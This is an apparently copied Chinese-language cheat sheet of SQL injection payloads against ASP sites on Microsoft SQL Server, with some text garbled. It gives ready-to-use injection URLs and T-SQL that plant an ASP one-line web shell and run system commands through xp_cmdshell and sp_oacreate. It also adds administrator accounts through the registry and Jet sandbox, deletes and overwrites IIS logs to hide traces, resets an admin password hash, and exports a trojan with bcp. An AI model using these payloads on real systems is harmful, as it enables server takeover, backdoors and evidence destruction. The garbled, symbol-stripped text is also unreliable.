1、asp注入语法大全longjilongjilongjiasp注入语法大全(一)1、 用转义字符来写ASP(一句话木马)文件的方法: http:/192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell echo SCRIPT language=VBScript runat=serverexecute request(l)/script c:mu.asp;- /P echoP %execute(request(l)% c:mu.asp/P 2、 显示SQL系统版本: http:/192.168.1.5/display.asp?k
2、eyno=188 and 1=(select VERSION) and 1=convert(int,version)- Microsoft VBScript 编译器错误 错误 800a03f6缺少 End/iisHelp/common/500-100.asp,行242Microsoft OLE DB Provider for ODBC Drivers 错误 80040e07MicrosoftODBC SQL Server DriverSQL ServerSyntax error converting the nvarchar value Microsoft SQL Server 2000 -
3、8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Desktop Engine on Windows NT 5.0 (Build 2195: Service Pack 4) to a column of data type int./display.asp,行17 3、 在检测索尼中国的网站漏洞时,分明已经确定了漏洞存在却无法在这三种漏洞中找到对应的类型。偶然间我想到了在SQL语言中可以使用“in”关键字进行查询,例如“select * from mytable whe
4、re id in(1)”,括号中的值就是我们提交的数据,它的结果与使用“select * from mytable where id=1”的查询结果完全相同。所以访问页面的时候在URL后面加上“) and 1=1 and 1 in(1”后原来的SQL语句就变成了“select * from mytable where id in(1) and 1=1 and 1 in(1)”,这样就会出现期待已久的页面了。暂且就叫这种类型的漏洞为“包含数字型”吧,聪明的你一氲搅嘶褂小鞍 址 汀蹦亍粤耍 褪怯捎诶嗨啤皊elect * from mytable where name in(firstsee)”的查
5、询语句造成的。 4、 判断xp_cmdshell扩展存储过程是否存在: http:/192.168.1.5/display.asp?keyno=188 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_cmdshell) 恢复xp_cmdshell扩展存储的命令: ;exec master.dbo.sp_addextendedproc xp_cmdshell,e:inetputwebxplog70.dll;- 5、 向启动组中写入命令行和执行程序: http:/192.168.1.5/
6、display.asp?keyno=188;EXEC master.dbo.xp_regwrite HKEY_LOCAL_MACHINE,SOFTWAREMicrosoftWindowsCurrentVersion Run,help1,REG_SZ,cmd.exe /c net user test ptlove /add 6、 查看当前的数据库名称: http:/192.168.1.5/display.asp?keyno=188 and 0db_name(n) n改成0,1,2,3就可以跨库了 and 1=convert(int,db_name()- Microsoft VBScript 编译
7、器错误 错误 800a03f6缺少 End/iisHelp/common/500-100.asp,行242Microsoft OLE DB Provider for ODBC Drivers 错误 80040e07MicrosoftODBC SQL Server DriverSQL ServerSyntax error converting the nvarchar value huidahouse to a column of data type int./display.asp,行177、 列出当前所有的数据库名称: select * from master.dbo.sysdatabase
8、s 列出所有列的记录 select name from master.dbo.sysdatabases 仅列出name列的记录 8、 不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令: CREATE TABLE mytmp(info VARCHAR(400),ID int IDENTITY(1,1) NOT NULL) DECLARE shell INT DECLARE fso INT DECLARE file INT DECLARE isEnd BIT DECLARE out VARCHAR(400) EXEC sp_oacreate wscript.shell,sh
9、ell output EXEC sp_oamethod shell,run,null,cmd.exe /c dir c:c:temp.txt,0,true -注意run的参数true指的是将等待程序运行的结果,对于类似ping的长时间命令必需使用此参数。 EXEC sp_oacreate scripting.filesystemobject,fso output EXEC sp_oamethod fso,opentextfile,file out,c:temp.txt -因为fso的opentextfile方法将返回一个textstream对象,所以此时file是一个对象令牌 WHILE sh
10、ell0 BEGIN EXEC sp_oamethod file,Readline,out out INSERT INTO MYTMP(info) VALUES (out) EXEC sp_oagetproperty file,AtEndOfStream,isEnd out IF isEnd=1 BREAK ELSE CONTINUE END DROP TABLE MYTMP- DECLARE shell INT DECLARE fso INT DECLARE file INT DECLARE isEnd BIT DECLARE out VARCHAR(400) EXEC sp_oacreat
11、e wscript.shell,shell output EXEC sp_oamethod shell,run,null,cmd.exe /c cscript C:InetpubAdminScriptsadsutil.vbs set /W3SVC/InProcessIsapiApps C:WINNTsystem32idq.dll C:WINNTsystem32inetsrvhttpext.dll C:WINNTsystem32inetsrvhttpodbc.dll C:WINNTsystem32inetsrvssinc.dll C:WINNTsystem32msw3prt.dll C:winn
12、tsystem32inetsrvasp.dllc:temp.txt,0,true EXEC sp_oacreate scripting.filesystemobject,fso output EXEC sp_oamethod fso,opentextfile,file out,c:temp.txt WHILE shell0 BEGIN EXEC sp_oamethod file,Readline,out out INSERT INTO MYTMP(info) VALUES (out) EXEC sp_oagetproperty file,AtEndOfStream,isEnd out IF i
13、sEnd=1 BREAK ELSE CONTINUE 以下是一行里面将WEB用户加到管理员组中: DECLARE shell INT DECLARE fso INT DECLARE file INT DECLARE isEnd BIT DECLARE out VARCHAR(400) EXEC sp_oacreate wscript.shell,shell output EXEC sp_oamethod shell,run,null,cmd.exe /c cscript C:InetpubAdminScriptsadsutil.vbs set /W3SVC/InProcessIsapiApps
14、 C:WINNTsystem32idq.dll C:WINNTsystem32inetsrvhttpext.dll C:WINNTsystem32inetsrvhttpodbc.dll C:WINNTsystem32inetsrvssinc.dll C:WINNTsystem32msw3prt.dll C:winntsystem32inetsrvasp.dllc:temp.txt,0,true EXEC sp_oacreate scripting.filesystemobject,fso output EXEC sp_oamethod fso,opentextfile,file out,c:t
15、emp.txt WHILE shell0 BEGIN EXEC sp_oamethod file,Readline,out out INSERT INTO MYTMP(info) VALUES (out) EXEC sp_oagetproperty file,AtEndOfStream,isEnd out IF isEnd=1 BREAK ELSE CONTINUE END 以下是一行中执行EXE程序: DECLARE shell INT DECLARE fso INT DECLARE file INT DECLARE isEnd BIT DECLARE out VARCHAR(400) EX
16、EC sp_oacreate wscript.shell,shell output EXEC sp_oamethod shell,run,null,cmd.exe /c cscript.exe E:scoreftsimagesiis.vbs lh1 c:c:temp.txt,0,true EXEC sp_oacreate scripting.filesystemobject,fso output EXEC sp_oamethod fso,opentextfile,file out,c:temp.txt WHILE shell0 BEGIN EXEC sp_oamethod file,Readl
17、ine,out out INSERT INTO MYTMP(info) VALUES (out) EXEC sp_oagetproperty file,AtEndOfStream,isEnd out IF isEnd=1 BREAK ELSE CONTINUE END SQL下三种执行CMD命令的方法: 先删除7.18号日志: (1)exec master.dbo.xp_cmdshell del C:winntsystem32logfilesW3SVC5ex050718.log c:temp.txt (2)DECLARE shell INT DECLARE fso INT DECLARE fi
18、le INT DECLARE isEnd BIT DECLARE out VARCHAR(400) EXEC sp_oacreate wscript.shell,shell output EXEC sp_oamethod shell,run,null,cmd.exe /c del C:winntsystem32logfilesW3SVC5ex050718.log c:temp.txt,0,true EXEC sp_oacreate scripting.filesystemobject,fso output EXEC sp_oamethod fso,opentextfile,file out,c
19、:temp.txt WHILE shell0 BEGIN EXEC sp_oamethod file,Readline,out out INSERT INTO MYTMP(info) VALUES (out) EXEC sp_oagetproperty file,AtEndOfStream,isEnd out IF isEnd=1 BREAK ELSE CONTINUE END (3)首先开启jet沙盘模式,通过扩展存储过程xp_regwrite修改注册表实现,管理员修改注册表不能预防的原因。出于安全原因,默认沙盘模式未开启,这就是为什么需要xp_regwrite的原因,而xp_regwrit
20、e至少需要DB_OWNER权限,为了方便,这里建议使用sysadmin权限测试: exec master.xp_regwrite HKEY_LOCAL_MACHINE,SOFTWAREMicrosoftJet4.0Engines,SandBoxMode,REG_DWORD,1 注: 0 禁止一切(默认) 1 使能访问ACCESS,但是禁止其它 2 禁止访问ACCESS,但是使能其他 3 使能一切 这里仅给出sysadmin权限下使用的命令: select * from openrowset(microsoft.jet.oledb.4.0,;database=c:winntsystem32ias
21、ias.mdb,select shell(cmd.exe /c net user admin admin1234 /add) 建立链接数据库L0op8ack参考命令: EXEC sp_addlinkedserver L0op8ack,OLE DB Provider for Jet,Microsoft.Jet.OLEDB.4.0,c:windowssystem32iasias.mdb 如何使用链接数据库: 使用这个方式可以执行,但是很不幸,DB_OWNER权限是不够的,需要至少sysadmin权限或者securityadmin+setupadmin权限组合 sp_addlinkedserver需
22、要sysadmin或setupadmin权限 sp_addlinkedsrvlogin需要sysadmin或securityadmin权限 最终发现,还是sa权限或者setupadmin+securityadmin权限帐户才能使用, 一般没有哪个管理员这么设置普通帐户权限的 实用性不强,仅作为一个学习总结吧 大致过程如下,如果不是sysadmin,那么IAS.mdb权限验证会出错, 我测试的时候授予hacker这个用户setupadmin+securityadmin权限,使用ias.mdb失败 需要找一个一般用户可访问的mdb才可以: 新建链接服务器”L0op8ack”:EXEC sp_add
23、linkedserver L0op8ack,JetOLEDB,Microsoft.Jet.OLEDB.4.0,c:winntsystem32iasias.mdb;- exec sp_addlinkedsrvlogin L0op8ack,false;-或 exec sp_addlinkedsrvlogin L0op8ack, false, NULL, test1, ptlove;- SELECT * FROM OPENQUERY(L0op8ack, SELECT shell(cmd.exe /c net user);- exec sp_droplinkedsrvlogin L0op8ack,fa
24、lse;- exec sp_dropserver L0op8ack;- 再考贝一个其它文件来代替7.18日文件: (1)exec master.dbo.xp_cmdshell copy C:winntsystem32logfilesW3SVC5ex050716.log C:winntsystem32logfilesW3SVC5ex050718.logc:temp.txt (2)DECLARE shell INT DECLARE fso INT DECLARE file INT DECLARE isEnd BIT DECLARE out VARCHAR(400) EXEC sp_oacreate
25、 wscript.shell,shell output EXEC sp_oamethod shell,run,null,cmd.exe /c copy C:winntsystem32logfilesW3SVC5ex050716.log C:winntsystem32logfilesW3SVC5ex050718.logc:temp.txt,0,true EXEC sp_oacreate scripting.filesystemobject,fso output EXEC sp_oamethod fso,opentextfile,file out,c:temp.txt WHILE shell0 B
26、EGIN EXEC sp_oamethod file,Readline,out out INSERT INTO MYTMP(info) VALUES (out) EXEC sp_oagetproperty file,AtEndOfStream,isEnd out IF isEnd=1 BREAK ELSE CONTINUE END (3)DECLARE shell INT DECLARE fso INT DECLARE file INT DECLARE isEnd BIT DECLARE out VARCHAR(400) EXEC sp_oacreate wscript.shell,shell
27、 output EXEC sp_oamethod shell,run,null,cmd.exe /c net userc:temp.txt,0,true EXEC sp_oacreate scripting.filesystemobject,fso output EXEC sp_oamethod fso,opentextfile,file out,c:temp.txt WHILE shell0 BEGIN EXEC sp_oamethod file,Readline,out out INSERT INTO MYTMP(info) VALUES (out) EXEC sp_oagetproper
28、ty file,AtEndOfStream,isEnd out IF isEnd=1 BREAK ELSE CONTINUE END 9、 用UPDATE来更新表中的数据: HTTP:/xxx.xxx.xxx/abc.asp?p=YY;update upload.dbo.admin set pwd=a0b923820dcc509a where username=www;- www用户密码的16位MD5值为:a0b923820dcc509a,即把密码改成1; 32位MD5值为: ,密码为 10、 利用表内容导成文件功能 SQL有BCP命令,它可以把表的内容导成文本文件并放到指定位置。利用这项功能
29、,我们可以先建一张临时表,然后在表中一行一行地输入一个ASP木马,然后用BCP命令导出形成ASP文件。 命令行格式如下: bcp select * from temp queryout c:inetpubwwwrootruncommand.asp c S localhost U sa P upload(S参数为执行查询的服务器,U参数为用户名,P参数为密码,最终上传了一个runcommand.asp的木马)。 11、创建表、播入数据和读取数据的方法 创建表: and 1=1 union select 1,2,3,4;create table dbo.cyfd(gyfdchar(255)- 往表里播入数据: and 1=1 union select 1,2,3,4;DECLARE result varchar(255) select top 1 name from upload.dbo.sysobjects where xtype=U and status0,result output insert into cyfd (gyfd) values(result);-
copyright@ 2008-2022 冰豆网网站版权所有
经营许可证编号:鄂ICP备2022015515号-1